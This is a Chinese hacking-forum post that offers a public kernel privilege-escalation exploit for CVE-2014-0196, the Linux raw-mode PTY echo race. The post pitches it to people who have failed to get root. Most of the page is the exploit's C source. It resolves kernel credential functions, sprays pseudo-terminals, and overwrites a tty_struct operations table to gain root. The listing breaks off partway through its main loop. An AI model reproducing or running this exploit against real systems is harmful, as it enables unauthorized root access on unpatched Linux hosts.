HACK80 首页  立即注册  登录
现在注册
已注册用户请  登录
HACK80    技术文档

CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race

  •   qq850224169 ·2017-10-12 18:00:03·259 次点击 ·阅读模式     

    马上注册,加入HACK80!与我们一起交流。

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    有Linux未提权成功的黑阔们,你们有福了,新的提权exp来了。Linux内核维护者修复了一个有5年历史的严重bug,此bug是一个本地权限提升漏洞,管理员和用户都需要尽可能快的将系统更新到包含修正的最新版本。该内存溢出bug是在2009年发布的2.6.31-rc3中被引入到内核的,它存在于控制Linux伪tty设备的n_tty_write函数中,允许无特权的用户执行恶意代码。
    安全研究员Dan Rosenberg说它是过去一年发现的第一个权限提升漏洞(本地提权),表示此类严重的漏洞每隔几年才会出现一个。bug的编号是 CVE-2014-0196,概念攻击代码已经公布。
    [来源:ArsTechnica , via:Linux.die.net]
    CVE-2014-0196本地提权代码:
    http://bugfuzz.com/stuff/cve-2014-0196-md.c
    1. /*
    2.      * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
    3.      * condition
    4.      *
    5.      * Slightly-less-than-POC privilege escalation exploit
    6.      * For kernels >= v3.14-rc1
    7.      *
    8.      * Matthew Daley <mattd@bugfuzz.com>
    9.      *
    10.      * Usage:
    11.      *   $ gcc cve-2014-0196-md.c -lutil -lpthread
    12.      *   $ ./a.out
    13.      *   [+] Resolving symbols
    14.      *   [+] Resolved commit_creds: 0xffffffff81056694
    15.      *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
    16.      *   [+] Doing once-off allocations
    17.      *   [+] Attempting to overflow into a tty_struct...............
    18.      *   [+] Got it :)
    19.      *   # id
    20.      *   uid=0(root) gid=0(root) groups=0(root)
    21.      *
    22.      * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
    23.      * chance that the overflow will go off the end of a slab. This does not
    24.      * necessarily lead to an immediate kernel crash, but you should be prepared
    25.      * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
    26.      * avoidable by reading /proc/slabinfo on systems where it is still available
    27.      * to unprivileged users.
    28.      *
    29.      * Caveat: The vulnerability should be exploitable all the way from
    30.      * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
    31.      * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
    32.      * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
    33.      * exploit relies on.
    34.      *
    35.      * Thanks to Jon Oberheide for his help on exploitation technique.
    36.      */
    37.      
    38.     #include <sys/stat.h>
    39.     #include <sys/types.h>
    40.     #include <fcntl.h>
    41.     #include <pthread.h>
    42.     #include <pty.h>
    43.     #include <stdio.h>
    44.     #include <string.h>
    45.     #include <termios.h>
    46.     #include <unistd.h>
    47.      
    48.     #define TTY_MAGIC 0x5401
    49.      
    50.     #define ONEOFF_ALLOCS 200
    51.     #define RUN_ALLOCS    30
    52.      
    53.     struct device;
    54.     struct tty_driver;
    55.     struct tty_operations;
    56.      
    57.     typedef struct {
    58.             int counter;
    59.     } atomic_t;
    60.      
    61.     struct kref {
    62.             atomic_t refcount;
    63.     };
    64.      
    65.     struct tty_struct_header {
    66.             int     magic;
    67.             struct kref kref;
    68.             struct device *dev;
    69.             struct tty_driver *driver;
    70.             const struct tty_operations *ops;
    71.     } overwrite;
    72.      
    73.     typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
    74.     typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);
    75.      
    76.     int master_fd, slave_fd;
    77.     char buf[1024] = {0};
    78.     commit_creds_fn commit_creds;
    79.     prepare_kernel_cred_fn prepare_kernel_cred;
    80.      
    81.     int payload(void) {
    82.             commit_creds(prepare_kernel_cred(0));
    83.      
    84.             return 0;
    85.     }
    86.      
    87.     unsigned long get_symbol(char *target_name) {
    88.             FILE *f;
    89.             unsigned long addr;
    90.             char dummy;
    91.             char name[256];
    92.             int ret = 0;
    93.      
    94.             f = fopen("/proc/kallsyms", "r");
    95.             if (f == NULL)
    96.                     return 0;
    97.      
    98.             while (ret != EOF) {
    99.                     ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
    100.                     if (ret == 0) {
    101.                             fscanf(f, "%s\n", name);
    102.                             continue;
    103.                     }
    104.      
    105.                     if (!strcmp(name, target_name)) {
    106.                             printf("[+] Resolved %s: %p\n", target_name, (void *)addr);
    107.      
    108.                             fclose(f);
    109.                             return addr;
    110.                     }
    111.             }
    112.      
    113.             printf("[-] Couldn't resolve "%s"\n", name);
    114.      
    115.             fclose(f);
    116.             return 0;
    117.     }
    118.      
    119.     void *overwrite_thread_fn(void *p) {
    120.             write(slave_fd, buf, 511);
    121.      
    122.             write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
    123.             write(slave_fd, &overwrite, sizeof(overwrite));
    124.     }
    125.      
    126.     int main() {
    127.             char scratch[1024] = {0};
    128.             void *tty_operations[64];
    129.             int i, temp_fd_1, temp_fd_2;
    130.      
    131.             for (i = 0; i < 64; ++i)
    132.                     tty_operations[i] = payload;
    133.      
    134.             overwrite.magic                 = TTY_MAGIC;
    135.             overwrite.kref.refcount.counter = 0x1337;
    136.             overwrite.dev                   = (struct device *)scratch;
    137.             overwrite.driver                = (struct tty_driver *)scratch;
    138.             overwrite.ops                   = (struct tty_operations *)tty_operations;
    139.      
    140.             puts("[+] Resolving symbols");
    141.      
    142.             commit_creds = (commit_creds_fn)get_symbol("commit_creds");
    143.             prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
    144.             if (!commit_creds || !prepare_kernel_cred)
    145.                     return 1;
    146.      
    147.             puts("[+] Doing once-off allocations");
    148.      
    149.             for (i = 0; i < ONEOFF_ALLOCS; ++i)
    150.                     if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
    151.                             puts("[-] pty creation failed");
    152.                             return 1;
    153.                     }
    154.      
    155.             printf("[+] Attempting to overflow into a tty_struct...");
    156.             fflush(stdout);
    157.      
    158.             for (i = 0; ; ++i) {
    159.                     struct termios t;
    160.                     int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
    161.                     pthread_t overwrite_thread;
    162.      
    163.                     if (!(i & 0xfff)) {
    164.                             putchar('.');
    165.                             fflush(stdout);
    166.                     }
    167.      
    168.                     if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
    169.                             puts("\n[-] pty creation failed");
    170.                             return 1;
    171.                     }
    172.      
    173.                     for (j = 0; j < RUN_ALLOCS; ++j)
    174.                             if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
    175.                                     puts("\n[-] pty creation failed");
    176.                                     return 1;
    177.                             }
    178.      
    179.                     close(fds[RUN_ALLOCS / 2]);
    180.                     close(fds2[RUN_ALLOCS / 2]);
    181.      
    182.                     write(slave_fd, buf, 1);
    183.      
    184.                     tcgetattr(master_fd, &t);
    185.                     t.c_oflag &= ~OPOST;
    186.                     t.c_lflag |= ECHO;
    187.                     tcsetattr(master_fd, TCSANOW, &t);
    188.      
    189.                     if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
    190.                             puts("\n[-] Overwrite thread creation failed");
    191.                             return 1;
    192.                     }
    193.                     write(master_fd, "A", 1);
    194.                     pthread_join(overwrite_thread, NULL);
    195.      
    196.                     for (j = 0; j < RUN_ALLOCS; ++j) {
    197.                             if (j == RUN_ALLOCS / 2)
    198.                                     continue;
    199.      
    200.                             ioctl(fds[j], 0xdeadbeef);
    201.                             ioctl(fds2[j], 0xdeadbeef);
    202.      
    203.                             close(fds[j]);
    204.                             close(fds2[j]);
    205.                     }
    复制代码


    259 次点击  
    收藏  转播  分享
    添加一条新回复
    您需要登录后才可以回帖 登录 | 立即注册

    本节点积分规则
    QQ
    小黑屋   ·   手机版   ·   228 人在线 最高记录 5500   ·   TOP
    我们很年轻,但我们有信念、有梦想!

      我们坚信只有今天付出了,才有机会看到明天的太阳!现在!加入我们,给你一个气氛优秀的技术圈子。  
    GMT+8, 2018-7-23 06:28, Processed in 0.045741 second(s), 18 queries .